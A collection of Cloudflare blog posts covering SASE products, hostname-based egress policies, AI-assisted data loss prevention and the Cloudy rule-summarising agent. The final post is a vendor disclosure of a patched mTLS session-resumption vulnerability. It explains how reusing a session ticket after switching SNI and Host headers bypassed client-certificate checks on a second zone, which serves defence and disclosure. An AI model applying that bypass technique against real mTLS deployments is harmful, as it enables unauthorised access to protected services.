We’ve discussed how we do what we do. Now let’s discuss the services we deliver. While customers have a number of different requirements that are specific to their organization, we do see centers of gravity that drive their use cases:

Network modernization initiatives: Enterprise networks are in ways more complicated than they need to be. To make the enterprise network suitable for today’s hybrid workspace, many organizations are looking for ways to converge the on-prem and remote user experience. The adoption of the coffee shop networking architecture is driving many projects towards single-vendor SASE. By using Cloudflare Access, users can access applications securely with identity and device-based contextual controls. Organizations use Magic WAN for network connectivity across branch offices, headquarters, regional campuses and the data center.

Security modernization initiatives: Security teams with concerns about enforcing more granular security controls to access critical resources are making efforts to adopt Zero Trust. These initiatives drive security-focused SASE use cases, which can both reduce the attack surface and centralize enforcement of adaptive access policies. Security teams need to both enable access to private applications while also securing access to the Internet. Use Cloudflare Access to implement Zero Trust Network Access, which accelerates the deployment of protections by layering granular, user-specific access controls on top of the existing network topology. Use Cloudflare Gateway to enforce content filtering policies to protect access to the Internet. Use Cloudflare Email Security to stop phishing attacks and disrupt the business email compromise attack lifecycle. 

Transformation initiatives: Most organizations have legacy investments in both networking and security infrastructure, and are embarking upon a transformation across their business to support their future needs. Organizations that are transforming need to tackle both networking and security modernization. Cloudflare One addresses comprehensive transformation by delivering networking services through Cloudflare Magic WAN, Cloudflare Access to implement ZTNA, Cloudflare Gateway to protect users from Internet threats, Cloudflare CASB to secure SaaS, and more.

Building beyond SASE

We’re building new capabilities that extend beyond the traditional definition of SASE, all while leveraging our core Cloudflare network foundation. This includes addressing a broader spectrum of security concerns that organizations face, such as phishing and DDoS attacks.

We are expanding our networking capabilities to help organizations simplify and automate multi-cloud connectivity. As the boundaries between public and private networking blur, particularly with the widespread adoption of AI across various applications, customers are looking for a single set of controls for all their applications. This requires market-leading Web Application and API Protection (WAAP) services that natively support both positive and negative security models as part of SASE.

Furthermore, we are rapidly deploying Graphics Processing Units (GPUs) in our data centers to power AI protections and support customer applications. As the only SASE platform that also serves as a leading Edge Distribution Platform with AI primitives, we are uniquely positioned to help customers to understand the latest AI capabilities and secure their users, networks, applications, and data with a security-first approach across the entire application lifecycle. We provide holistic support for the age of AI, and many leading Generative AI platforms rely on our network as critical infrastructure to operate. With their traffic and often code on our network, we enable the safeguard of customers’ AI usage.

We believe that these efforts will help the market evolve and address a broader range of customer concerns. We’re doing this incrementally, building integrated solutions on top of our foundation and accelerating our pace. We can’t wait to show you what we’ve got planned for the year ahead in SASE.

Are you interested in Cloudflare One? Contact us to learn more about how we can help.

***

1Gartner, Magic Quadrant for SASE Platforms, Analyst(s): Jonathan Forest, Neil MacDonald, Dale Koeppen, July 9, 2025

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a registered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved.

Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

Introducing simple and secure egress policies by hostname in Cloudflare’s SASE platform

Post Syndicated from Ankur Aggarwal original https://blog.cloudflare.com/egress-policies-by-hostname/

Cloudflare’s SASE platform is on a mission to strengthen our platform-wide support for hostname- and domain-based policies. This mission is being driven by enthusiastic demands from our customers, and boosted along the way by several interesting engineering challenges. Today, we’re taking a deep dive into the first milestone of this mission, which we recently released in open beta: egress policies by hostname, domain, content category, and application. Let’s dive right in! 

Egress policies and IP ACLs

Customers use our egress policies to control how their organization’s Internet traffic connects to external services. An egress policy allows a customer to control the source IP address their traffic uses, as well as the geographic location that their traffic uses to egress onto the public Internet. Control of the source IP address is especially useful when accessing external services that apply policies to traffic based on source IPs, using IP Access Control Lists (ACLs). Some services use IP ACLs because they improve security, while others use them because they are explicitly required by regulation or compliance frameworks. 

(That said, it’s important to clarify that we do not recommend relying on IP ACLs as the only security mechanism used to gate access to a resource. Instead, IP ACLs should be used in combination with strong authentication like Single Sign On (SSO), Multi Factor Authentication (MFA), passkeys, etc.).

Let’s make the use case for egress policies more concrete with an example. 

Imagine that Acme Co is a company that has purchased its own dedicated egress IP address 203.0.113.9 from Cloudflare. Meanwhile, imagine a regulated banking application (https://bank.example.com) that only grants access to the corporate account for Acme Co when traffic originates from source IP address 203.0.113.9. Any traffic with a different source IP will be prevented from accessing Acme Co’s corporate account. In this way, the banking application uses IP ACLs to ensure that only employees from Acme Co can access Acme Co’s corporate account. 


Egress policies by hostname

Continuing our example, suppose that Acme Co wants to ensure that the banking application is off limits to all of its employees except those on its finance team. To accomplish this, Acme Co wants to write an egress policy that allows members of the finance team to egress from 203.0.113.9 when accessing https://bank.example.com, but employees outside of finance will not egress from 203.0.113.9 when attempting to access https://bank.example.com.  

As shown in the figure above, the combination of the banking application’s IP ACLs and Acme Co’s egress policies ensures that https://bank.example.com is only accessible to its finance employees at Acme Co. 

While this all sounds great, until now, this scenario was fairly difficult to achieve on Cloudflare’s SASE platform. While we have long supported egress policies by user groups and other user attributes, we did not support writing egress policies by hostname. Instead, customers had to resort to writing egress policies by destination IP addresses.

To understand why customers have been clamoring for egress policies by hostname, let’s return to our example: 

In our example, Acme Co wants to write a policy that allows only the finance team to access https://bank.example.com. In the past, in the absence of egress policies by hostname, Acme Co would need to write its egress policy in terms of the destination IP address of the banking application. 

But how does Acme Co know the destination IP address of this banking application? The first problem is that the destination IP address belongs to an external service that is not controlled by Acme Co, and the second problem is that this IP address could change frequently, especially if the banking application uses ephemeral infrastructure or sits behind a reverse proxy or CDN. Keeping up with changes to the destination IP address of an external service led some of our customers to write their own homegrown scripts that continuously update destination IP Lists which are then fed to our egress policies using Cloudflare’s API.

With this new feature, we do away with all these complications and simply allow our customers to write egress policies by hostname. 

Egress policies by domains, categories and applications too

Before we continue, we should note that this new feature also supports writing egress policies by:

  • Domain: For example, we can now write an egress policy for *.bank.example.com, rather than an individual policy for each hostname (bank.example.com, app.acmeco.bank.example.com, auth.bank.example.com, etc.)

  • Category: For example, we can now write a single egress policy to control the egress IP address that employees use when accessing a site in the Cryptocurrency content category, rather than an individual policy for every Cryptocurrency website.

  • Application: For example, we can write a single egress policy for Slack, without needing to know all the different host and domain names (e.g. app.slack.com, slack.com, acmeco.slack.com, slack-edge.com) that Slack uses to serve its application.

Here’s an example of writing an egress policy by application:


A view of the Cloudflare dashboard showing how to write an egress policy for a set of users and Applications. The policy is applied to users in the “finance” user group when accessing Applications including Microsoft Team, Slack, BambooHR and Progressive, and it determines the source IP that traffic uses when it egresses to the public Internet.

Why was this so hard to build?

Now let’s get into the engineering challenges behind this feature.

Egress polices are part of Cloudflare Gateway. Cloudflare Gateway is a Secure Web Gateway (SWG) that operates as both a layer 4 (L4) and layer 7 (L7) proxy. In other words, Cloudflare Gateway intercepts traffic by inspecting it at the transport layer (layer 4, including TCP and UDP), as well as at the application layer (layer 7, including HTTP).

The problem is that egress policies must necessarily be evaluated at layer 4, rather than at layer 7. Why? Because egress policies are used to select the source IP address for network traffic, and Cloudflare Gateway must select the source IP address for traffic before it creates the connection to the external service bank.example.com. If Gateway changes the source IP address in the middle of the connection, the connection will be broken. Therefore, Gateway must apply egress policies before it sends the very first packet in the connection. For instance, Gateway must apply egress policies before it sends the TCP SYN, which of course happens well before it sends any layer 7 information (e.g. HTTP). (See here for more information on Gateway’s order of enforcement for its policies.)

The bottom line is that Gateway has no other information to use when applying the egress policy, other than the information in the IP header and the L4 (e.g. TCP) header of an IP packet. As you can see for the TCP/IPv4 packet below, a destination hostname is not part of the IP or TCP header in a packet. That’s why we previously were not able to support egress policies by hostname, and instead required administrators to write egress policies by destination IP address.


So how did we build the feature?

We took advantage of the fact that Cloudflare Gateway also operates its own DNS resolver. Every time an end user wants to access a destination hostname, the Gateway resolver first receives a DNS query for that hostname before sending its network traffic to the destination hostname. 

To support egress policies by hostname, Gateway associates the DNS query for the hostname with the IP address  and TCP/UDP information in the network connection to the hostname. Specifically, Gateway will map the destination IP address in the end-user’s network connection to the hostname in the DNS query using a “synthetic IP” mechanism that is best explained using a diagram:


Let’s walk through the flow:

1. When the end user makes a DNS query for bank.example.com, that DNS query is sent to the Gateway resolver.

2. The Gateway resolver does a public DNS lookup to associate bank.example.com to its destination IP address, which is 96.7.128.198.

3. However, the Gateway resolver will not respond to the DNS query using the real destination IP 96.7.128.198. Instead, it responds with an initial resolved IP address of 100.80.10.10. This is not the real IP address for bank.example.com; instead, it acts as a tag that allows Gateway to identify network traffic destined to bank.example.com.  The initial resolved IP is randomly selected and temporarily assigned from one of the two IP address ranges below, which correspond to the Carrier Grade Network Address Translation (CGNAT) IP address spaces as defined in RFC 6598 and RFC 6264, respectively.

IPv4: 100.80.0.0/16

IPv6: 2606:4700:0cf1:4000::/64 

4. Gateway has now associated the initial resolved IP address 100.80.10.10, with the hostname bank.example.com. Thus, when Gateway now sees network traffic to destination IP address 100.80.10.10, Gateway recognizes it and applies the egress policy for bank.example.com. 

5. After applying the egress policy, Gateway will rewrite the initially resolved address IP 100.80.10.10, on the network traffic with the actual IP address 96.7.128.198 for bank.example.com, and send it out the egress IP address so that it can reach its destination.

The network traffic now has the correct destination IP address, and egresses according to the policy for bank.example.com, and all is well! 

Making it work for domains, categories and applications

So far, we’ve seen how the mechanism works with individual hostnames (i.e. Fully Qualified Domain Names (FQDNs) like bank.example.com). What about egress policies for domains and subdomains like *.bank.example.com? What about content categories and applications, which are essentially sets of hostnames grouped together?

We are able to support these use cases because (returning to our example above) Gateway temporarily assigns the initial resolved IP address 100.80.10.10 to the hostname bank.example.com for a short period of time. After this short time period, the initial resolved IP address is released and returned into the pool of available addresses (in 100.80.0.0/16), where it can be assigned to another hostname in the future.

In other words, we use a random dynamic assignment of initial resolved IP addresses, rather than statically associating a single initial resolved IP address with a single hostname. The result is that we can apply IPv4 egress policies to a very large number of hostnames, rather than being limited by the 65,536 IP addresses available in the 100.80.0.0/16 IPv4 address block.

Randomly assigning the initial resolved IP address also means that we can apply a single egress policy for a wildcard like *.bank.example.com to any traffic we happen to come across, such as traffic for acmeco.bank.example.com or auth.bank.example.com. A static mapping would require the customer to write a different policy for each individual hostname, which is clunkier and more difficult to manage.

Thus, by using dynamic assignments of initial resolved IP addresses, we simplify our customers’ egress policies and all is well!

Actually, not quite. There’s one other problem we need to solve.

Landing on the same server

Cloudflare has an extensive global network, with servers running our software stack in over 330 cities in 125 countries. Our architecture is such that sharing strongly-consistent storage across those servers (even within a single data center) comes with some performance and reliability costs. For this reason, we decided to build this feature under the assumption that state could not be shared between any Cloudflare servers, even servers in the same data center.

This assumption created an interesting challenge for us. Let’s see why.

Returning to our running example, suppose that the end user’s DNS traffic lands on one Cloudflare server while the end user’s network traffic lands on a different Cloudflare server. Those servers do not share state.  Thus, it’s not possible to associate the mapping from hostname to its actual destination IP address (bank.example.com = 96.7.128.198) which was obtained from the DNS traffic, with the initial resolved IP that is used by the network traffic (i.e. 100.80.10.10). Our mechanism would break down and traffic would be dropped, as shown in the figure below.


We solve this problem by ensuring that DNS traffic and network traffic land on the same Cloudflare server. In particular, we require DNS traffic to go into the same tunnel as network traffic so that both traffic flows land on the same Cloudflare server. For this reason, egress policies by hostname are only supported when end users connect to the Cloudflare network using one of the following on-ramps:

We are actively working to expand support of this feature to more onramps. 

What’s next?

There’s a lot more coming. Besides expanding support for more onramps, we also plan to extend this support to hostname-based rulesets in more parts of Cloudflare’s SASE. Stand by for more updates from us on this topic. All of these new features will rely on the “initial resolved IP” mechanism that we described above, empowering our customers to simplify their rulesets and enforce tighter security policies in their Cloudflare SASE deployments.

Don’t wait to gain granular control over your network traffic: log in to your Cloudflare dashboard to explore the beta release of egress policies by hostname / domain / category / application and bolster your security strategy with Cloudflare SASE.

Improving Data Loss Prevention accuracy with AI-powered context analysis

Post Syndicated from Warnessa Weaver original https://blog.cloudflare.com/improving-data-loss-prevention-accuracy-with-ai-context-analysis/

We are excited to announce our latest innovation to Cloudflare’s Data Loss Prevention (DLP) solution: a self-improving AI-powered algorithm that adapts to your organization’s unique traffic patterns to reduce false positives. 

Many customers are plagued by the shapeshifting task of identifying and protecting their sensitive data as it moves within and even outside of their organization. Detecting this data through deterministic means, such as regular expressions, often fails because they cannot identify details that are categorized as personally identifiable information (PII) nor intellectual property (IP). This can generate a high rate of false positives, which contributes to noisy alerts that subsequently may lead to review fatigue. Even more critically, this less than ideal experience can turn users away from relying on our DLP product and result in a reduction in their overall security posture. 

Built into Cloudflare’s DLP Engine, AI enables us to intelligently assess the contents of a document or HTTP request in parallel with a customer’s historical reports to determine context similarity and draw conclusions on data sensitivity with increased accuracy.

In this blog post, we’ll explore DLP AI Context Analysis, its implementation using Workers AI and Vectorize, and future improvements we’re developing. 

Understanding false positives and their impact on user confidence

Data Loss Prevention (DLP) at Cloudflare detects sensitive information by scanning potential sources of data leakage across various channels such as web, cloud, email, and SaaS applications. While we leverage several detection methods, pattern-based methods like regular expressions play a key role in our approach. This method is effective for many types of sensitive data. However, certain information can be challenging to classify solely through patterns. For instance, U.S. Social Security Numbers (SSNs), structured as AAA-GG-SSSS, sometimes with dashes omitted, are often confused with other similarly formatted data, such as U.S. taxpayer identification numbers, bank account numbers, or phone numbers. 

Since announcing our DLP product, we have introduced new capabilities like confidence thresholds to reduce the number of false positives users receive. This method involves examining the surrounding context of a pattern match to assess Cloudflare’s confidence in its accuracy. With confidence thresholds, users specify a threshold (low, medium, or high) to signify a preference for how tolerant detections are to false positives. DLP uses the chosen threshold as a minimum, surfacing only those detections with a confidence score that meets or exceeds the specified threshold.  


However, implementing context analysis is also not a trivial task. A straightforward approach might involve looking for specific keywords near the matched pattern, such as “SSN” near a potential SSN match, but this method has its limitations. Keyword lists are often incomplete, users may make typographical errors, and many true positives do not have any identifying keywords nearby (e.g., bank accounts near routing numbers or SSNs near names).

Leveraging AI/ML for enhanced detection accuracy

To address the limitations of a hardcoded strategy for context analysis, we have developed a dynamic, self-improving algorithm that learns from customer feedback to further improve their future experience. Each time a customer reports a false positive via decrypted payload logs, the system reduces its future confidence for hits in similar contexts. Conversely, reports of true positives increase the system’s confidence for hits in similar contexts. 


To determine context similarity, we leverage Workers AI. Specifically, a pretrained language model that converts the text into a high-dimensional vector (i.e. text embedding). These embeddings capture the meaning of the text, ensuring that two sentences with the same meaning but different wording map to vectors that are close to each other. 

When a pattern match is detected, the system uses the AI model to compute the embedding of the surrounding context. It then performs a nearest neighbor search to find previously logged false or true positives with similar meanings. This allows the system to identify context similarities even if the exact wording differs, but the meaning remains the same. 


In our experiments using Cloudflare employee traffic, this approach has proven robust, effectively handling new pattern matches it hadn’t encountered before. When the DLP admin reports false and true positives through the Cloudflare dashboard while viewing the payload log of a policy match, it helps DLP continue to improve, leading to a significant reduction in false positives over time. 

Seamless integration with Workers AI and Vectorize

In developing this new feature, we used components from Cloudflare’s developer platform — Workers AI and Vectorize — which helps simplify our design. Instead of managing the underlying infrastructure ourselves, we leveraged Cloudflare Workers as the foundation, using Workers AI for text embedding, and Vectorize as the vector database. This setup allows us to focus on the algorithm itself without the overhead of provisioning underlying resources.  

Thanks to Workers AI, converting text into embeddings couldn’t be easier. With just a single line of code we can transform any text into its corresponding vector representation.

const result = await env.AI.run(model, {text: [text]}).data;

This handles everything from tokenization to GPU-powered inference, making the process both simple and scalable.

The nearest neighbor search is equally straightforward. After obtaining the vector from Workers AI, we use Vectorize to quickly find similar contexts from past reports. In the meantime, we store the vector for the current pattern match in Vectorize, allowing us to learn from future feedback. 

To optimize resource usage, we’ve incorporated a few more clever techniques. For example, instead of storing every vector from pattern hits, we use online clustering to group vectors into clusters and store only the cluster centroids along with counters for tracking hits and reports. This reduces storage needs and speeds up searches. Additionally, we’ve integrated Cloudflare Queues to separate the indexing process from the DLP scanning hot path, ensuring a robust and responsive system.


Privacy is a top priority. We redact any matched text before conversion to embeddings, and all vectors and reports are stored in customer-specific private namespaces across Vectorize, D1, and Workers KV. This means each customer’s learning process is independent and secure. In addition, we implement data retention policies so that vectors that have not been accessed or referenced within 60 days are automatically removed from our system.  

Limitations and continuous improvements

AI-driven context analysis significantly improves the accuracy of our detections. However, this comes at the cost of some increase in latency for the end user experience.  For requests that do not match any enabled DLP entries, there will be no latency increase.  However, requests that match an enabled entry in a profile with AI context analysis enabled will typically experience an increase in latency of about 400ms. In rare extreme cases, for example requests that match multiple entries, that latency increase could be as high as 1.5 seconds. We are actively working to drive the latency down, ideally to a typical increase of 250ms or better. 

Another limitation is that the current implementation supports English exclusively because of our choice of the language model. However, Workers AI is developing a multilingual model which will enable DLP to increase support across different regions and languages.

Looking ahead, we also aim to enhance the transparency of AI context analysis. Currently, users have no visibility on how the decisions are made based on their past false and true positive reports. We plan to develop tools and interfaces that provide more insight into how confidence scores are calculated, making the system more explainable and user-friendly.  

With this launch, AI context analysis is only available for Gateway HTTP traffic. By the end of 2025, AI context analysis will be available in both CASB and Email Security so that customers receive the same AI enhancements across their entire data landscape.

Unlock the benefits: start using AI-powered detection features today

DLP’s AI context analysis is in closed beta. Sign up here for early access to experience immediate improvements to your DLP HTTP traffic matches. More updates are coming soon as we approach general availability!

To get access to DLP via Cloudflare One, contact your account manager.

Introducing Cloudy, Cloudflare’s AI agent for simplifying complex configurations

Post Syndicated from Alex Dunbrack original https://blog.cloudflare.com/introducing-ai-agent/

It’s a big day here at Cloudflare! Not only is it Security Week, but today marks Cloudflare’s first step into a completely new area of functionality, intended to improve how our users both interact with, and get value from, all of our products.

We’re excited to share a first glance of how we’re embedding AI features into the management of Cloudflare products you know and love. Our first mission? Focus on security and streamline the rule and policy management experience. The goal is to automate away the time-consuming task of manually reviewing and contextualizing Custom Rules in Cloudflare WAF, and Gateway policies in Cloudflare One, so you can instantly understand what each policy does, what gaps they have, and what you need to do to fix them.

Meet Cloudy, Cloudflare’s first AI agent

Our initial step toward a fully AI-enabled product experience is the introduction of Cloudy, the first version of Cloudflare AI agents, assistant-like functionality designed to help users quickly understand and improve their Cloudflare configurations in multiple areas of the product suite. You’ll start to see Cloudy functionality seamlessly embedded into two Cloudflare products across the dashboard, which we’ll talk about below.

And while the name Cloudy may be fun and light-hearted, our goals are more serious: Bring Cloudy and AI-powered functionality to every corner of Cloudflare, and optimize how our users operate and manage their favorite Cloudflare products. Let’s start with two places where Cloudy is now live and available to all customers using the WAF and Gateway products.

WAF Custom Rules

Let’s begin with AI-powered overviews of WAF Custom Rules. For those unfamiliar, Cloudflare’s Web Application Firewall (WAF) helps protect web applications from attacks like SQL injection, cross-site scripting (XSS), and other vulnerabilities. 

One specific feature of the WAF is the ability to create WAF Custom Rules. These allow users to tailor security policies to block, challenge, or allow traffic based on specific attributes or security criteria.

However, for customers with dozens or even hundreds of rules deployed across their organization, it can be challenging to maintain a clear understanding of their security posture. Rule configurations evolve over time, often managed by different team members, leading to potential inefficiencies and security gaps. What better problem for Cloudy to solve?


Powered by Workers AI, today we’ll share how Cloudy will help review your WAF Custom Rules and provide a summary of what’s configured across them. Cloudy will also help you identify and solve issues such as:

  • Identifying redundant rules: Identify when multiple rules are performing the same function, or using similar fields, helping you streamline your configuration.

  • Optimising execution order: Spot cases where rules ordering affects functionality, such as when a terminating rule (block/challenge action) prevents subsequent rules from executing.

  • Analysing conflicting rules: Detect when rules counteract each other, such as one rule blocking traffic that another rule is designed to allow or log.

  • Identifying disabled rules: Highlight potentially important security rules that are in a disabled state, helping ensure that critical protections are not accidentally left inactive.

Cloudy won’t just summarize your rules, either. It will analyze the relationships and interactions between rules to provide actionable recommendations. For security teams managing complex sets of Custom Rules, this means less time spent auditing configurations and more confidence in your security coverage.

Available to all users, we’re excited to show how Cloudflare AI Agents can enhance the usability of our products, starting with WAF Custom Rules. But this is just the beginning.

Cloudflare One Firewall policies


We’ve also added Cloudy to Cloudflare One, our SASE platform, where enterprises manage the security of their employees and tools from a single dashboard.

In Cloudflare Gateway, our Secure Web Gateway offering, customers can configure policies to manage how employees do their jobs on the Internet. These Gateway policies can block access to malicious sites, prevent data loss violations, and control user access, among other things.

But similar to WAF Custom Rules, Gateway policy configurations can become overcomplicated and bogged down over time, with old, forgotten policies that do who-knows-what. Multiple selectors and operators working in counterintuitive ways. Some blocking traffic, others allowing it. Policies that include several user groups, but carve out specific employees. We’ve even seen policies that block hundreds of URLs in a single step. All to say, managing years of Gateway policies can become overwhelming.

So, why not have Cloudy summarize Gateway policies in a way that makes their purpose clear and concise?

Available to all Cloudflare Gateway users (create a free Cloudflare One account here), Cloudy will now provide a quick summary of any Gateway policy you view. It’s now easier than ever to get a clear understanding of each policy at a glance, allowing admins to spot misconfigurations, redundant controls, or other areas for improvement, and move on with confidence.

Built on Workers AI

At the heart of our new functionality is Cloudflare Workers AI (yes, the same version that everyone uses!) that leverages advanced large language models (LLMs) to process vast amounts of information; in this case, policy and rules data. Traditionally, manually reviewing and contextualizing complex configurations is a daunting task for any security team. With Workers AI, we automate that process, turning raw configuration data into consistent, clear summaries and actionable recommendations.

How it works

Cloudflare Workers AI ingests policy and rule configurations from your Cloudflare setup and combines them with a purpose-built LLM prompt. We leverage the same publicly-available LLM models that we offer our customers, and then further enrich the prompt with some additional data to provide it with context. For this specific task of analyzing and summarizing policy and rule data, we provided the LLM:

  • Policy & rule data: This is the primary data itself, including the current configuration of policies/rules for Cloudy to summarize and provide suggestions against.

  • Documentation on product abilities: We provide the model with additional technical details on the policy/rule configurations that are possible with each product, so that the model knows what kind of recommendations are within its bounds.

  • Enriched datasets: Where WAF Custom Rules or CF1 Gateway policies leverage other ‘lists’ (e.g., a WAF rule referencing multiple countries, a Gateway policy leveraging a specific content category), the list item(s) selected must be first translated from an ID to plain-text wording so that the LLM can interpret which policy/rule values are actually being used.

  • Output instructions: We specify to the model which format we’d like to receive the output in. In this case, we use JSON for easiest handling.

  • Additional clarifications: Lastly, we explicitly instruct the LLM to be sure about its output, valuing that aspect above all else. Doing this helps us ensure that no hallucinations make it to the final output.

By automating the analysis of your WAF Custom Rules and Gateway policies, Cloudflare Workers AI not only saves you time but also enhances security by reducing the risk of human error. You get clear, actionable insights that allow you to streamline your configurations, quickly spot anomalies, and maintain a strong security posture—all without the need for labor-intensive manual reviews.

What’s next for Cloudy

Beta previews of Cloudy are live for all Cloudflare customers today. But this is just the beginning of what we envision for AI-powered functionality across our entire product suite.

Throughout the rest of 2025, we plan to roll out additional AI agent capabilities across other areas of Cloudflare. These new features won’t just help customers manage security more efficiently, but they’ll also provide intelligent recommendations for optimizing performance, streamlining operations, and enhancing overall user experience.

We’re excited to hear your thoughts as you get to meet Cloudy and try out these new AI features – send feedback to us at [email protected], or post your thoughts on X, LinkedIn, or Mastodon tagged with #SecurityWeek! Your feedback will help shape our roadmap for AI enhancement, and bring our users smarter, more efficient tooling that helps everyone get more secure.


Watch on Cloudflare TV

Resolving a Mutual TLS session resumption vulnerability

Post Syndicated from Matt Bullock original https://blog.cloudflare.com/resolving-a-mutual-tls-session-resumption-vulnerability/

On January 23, 2025, Cloudflare was notified via its Bug Bounty Program of a vulnerability in Cloudflare’s Mutual TLS (mTLS) implementation. 

The vulnerability affected customers who were using mTLS and involved a flaw in our session resumption handling. Cloudflare’s investigation revealed no evidence that the vulnerability was being actively exploited. And tracked as CVE-2025-23419, Cloudflare mitigated the vulnerability within 32 hours after being notified. Customers who were using Cloudflare’s API shield in conjunction with WAF custom rules that validated the issuer’s Subject Key Identifier (SKI) were not vulnerable. Access policies such as identity verification, IP address restrictions, and device posture assessments were also not vulnerable.

Background

The bug bounty report detailed that a client with a valid mTLS certificate for one Cloudflare zone could use the same certificate to resume a TLS session with another Cloudflare zone using mTLS, without having to authenticate the certificate with the second zone.

Cloudflare customers can implement mTLS through Cloudflare API Shield with Custom Firewall Rules and the Cloudflare Zero Trust product suite. Cloudflare establishes the TLS session with the client and forwards the client certificate to Cloudflare’s Firewall or Zero Trust products, where customer policies are enforced.

mTLS operates by extending the standard TLS handshake to require authentication from both sides of a connection – the client and the server. In a typical TLS session, a client connects to a server, which presents its TLS certificate. The client verifies the certificate, and upon successful validation, an encrypted session is established. However, with mTLS, the client also presents its own TLS certificate, which the server verifies before the connection is fully established. Only if both certificates are validated does the session proceed, ensuring bidirectional trust.


mTLS is useful for securing API communications, as it ensures that only legitimate and authenticated clients can interact with backend services. Unlike traditional authentication mechanisms that rely on credentials or tokens, mTLS requires possession of a valid certificate and its corresponding private key.

To improve TLS connection performance, Cloudflare employs session resumption. Session resumption speeds up the handshake process, reducing both latency and resource consumption. The core idea is that once a client and server have successfully completed a TLS handshake, future handshakes should be streamlined — assuming that fundamental parameters such as the cipher suite or TLS version remain unchanged.

There are two primary mechanisms for session resumption: session IDs and session tickets. With session IDs, the server stores the session context and associates it with a unique session ID. When a client reconnects and presents this session ID in its ClientHello message, the server checks its cache. If the session is still valid, the handshake is resumed using the cached state.

Session tickets function in a stateless manner. Instead of storing session data, the server encrypts the session context and sends it to the client as a session ticket. In future connections, the client includes this ticket in its ClientHello, which the server can then decrypt to restore the session, eliminating the need for the server to maintain session state.

A resumed mTLS session leverages previously established trust, allowing clients to reconnect to a protected application without needing to re-initiate an mTLS handshake.

The mTLS resumption vulnerability

In Cloudflare’s mTLS implementation, however, session resumption introduced an unintended behavior.  BoringSSL, the TLS library that Cloudflare uses, will store the client certificate from the originating, full TLS handshake in the session. Upon resuming that session, the client certificate is not revalidated against the full chain of trust, and the original handshake’s verification status is respected. To avoid this situation, BoringSSL provides an API to partition session caches/tickets between different “contexts” defined by the application. Unfortunately, Cloudflare’s use of this API was not correct, which allowed TLS sessions to be resumed when they shouldn’t have been. 

To exploit this vulnerability, the security researcher first set up two zones on Cloudflare and configured them behind Cloudflare’s proxy with mTLS enabled. Once their domains were configured, the researcher authenticated to the first zone using a valid client certificate, allowing Cloudflare to issue a TLS session ticket against that zone. 

The researcher then changed the TLS Server Name Indication (SNI) and HTTP Host header from the first zone (which they had authenticated with) to target the second zone (which they had not authenticated with). The researcher then presented the session ticket when handshaking with the second Cloudflare-protected mTLS zone. This resulted in Cloudflare resuming the session with the second zone and reporting verification status for the cached client certificate as successful,bypassing the mTLS authentication that would normally be required to initiate a session.

If you were using additional validation methods in your API Shield or Access policies – for example, checking the issuers SKI, identity verification, IP address restrictions, or device posture assessments – these controls continued to function as intended. However, due to the issue with TLS session resumption, the mTLS checks mistakenly returned a passing result without re-evaluating the full certificate chain.

Remediation and next steps

We have disabled TLS session resumption for all customers that have mTLS enabled. As a result, Cloudflare will no longer allow resuming sessions that cache client certificates and their verification status.

We are exploring ways to bring back the performance improvements from TLS session resumption for mTLS customers.

Further hardening

Customers can further harden their mTLS configuration and add enhanced logging to detect future issues by using Cloudflare’s Transform Rules, logging, and firewall features.

While Cloudflare has mitigated the issue by disabling session resumption for mTLS connections, customers may want to implement additional monitoring at their origin to enforce stricter authentication policies. All customers using mTLS can also enable additional request headers using our Managed Transforms product. Enabling this feature allows us to pass additional metadata to your origin with the details of the client certificate that was used for the connection.


Enabling this feature allows you to see the following headers where mTLS is being utilized on a request.

{
  "headers": {
    "Cf-Cert-Issuer-Dn": "CN=Taskstar Root CA,OU=Taskstar\\, Inc.,L=London,ST=London,C=UK",
    "Cf-Cert-Issuer-Dn-Legacy": "/C=UK/ST=London/L=London/OU=Taskstar, Inc./CN=Taskstar Root CA",
    "Cf-Cert-Issuer-Dn-Rfc2253": "CN=Taskstar Root CA,OU=Taskstar\\, Inc.,L=London,ST=London,C=UK",
    "Cf-Cert-Issuer-Serial": "7AB07CC0D10C38A1B554C728F230C7AF0FF12345",
    "Cf-Cert-Issuer-Ski": "A5AC554235DBA6D963B9CDE0185CFAD6E3F55E8F",
    "Cf-Cert-Not-After": "Jul 29 10:26:00 2025 GMT",
    "Cf-Cert-Not-Before": "Jul 29 10:26:00 2024 GMT",
    "Cf-Cert-Presented": "true",
    "Cf-Cert-Revoked": "false",
    "Cf-Cert-Serial": "0A62670673BFBB5C9CA8EB686FA578FA111111B1B",
    "Cf-Cert-Sha1": "64baa4691c061cd7a43b24bccb25545bf28f1111",
    "Cf-Cert-Sha256": "528a65ce428287e91077e4a79ed788015b598deedd53f17099c313e6dfbc87ea",
    "Cf-Cert-Ski": "8249CDB4EE69BEF35B80DA3448CB074B993A12A3",
    "Cf-Cert-Subject-Dn": "CN=MB,OU=Taskstar Admins,O=Taskstar,L=London,ST=Essex,C=UK",
    "Cf-Cert-Subject-Dn-Legacy": "/C=UK/ST=Essex/L=London/O=Taskstar/OU=Taskstar Admins/CN=MB ",
    "Cf-Cert-Subject-Dn-Rfc2253": "CN=MB,OU=Taskstar Admins,O=Taskstar,L=London,ST=London,C=UK",
    "Cf-Cert-Verified": "true",
    "Cf-Client-Cert-Sha256": "083129c545d7311cd5c7a26aabe3b0fc76818495595cea92efe111150fd2da2",
    }
}

Enterprise customers can also use our Cloudflare Log products to add these headers via the Logs Custom Fields feature. For example:


This will add the following information to Cloudflare Logs.

"RequestHeaders": {
    "cf-cert-issuer-ski": "A5AC554235DBA6D963B9CDE0185CFAD6E3F55E8F",
    "cf-cert-sha256": "528a65ce428287e91077e4a79ed788015b598deedd53f17099c313e6dfbc87ea"
  },

Customers already logging this information — either at their origin or via Cloudflare Logs — can retroactively check for unexpected certificate hashes or issuers that did not trigger any security policy.

Users are also able to use this information within their WAF custom rules to conduct additional checks. For example, checking the Issuer’s SKI can provide an extra layer of security.


Customers who enabled this additional check were not vulnerable.

Conclusion

We sincerely thank the security researcher who responsibly disclosed this issue via our HackerOne Bug Bounty Program, allowing us to identify and mitigate the vulnerability. We welcome further submissions from our community of researchers to continually improve our products’ security.

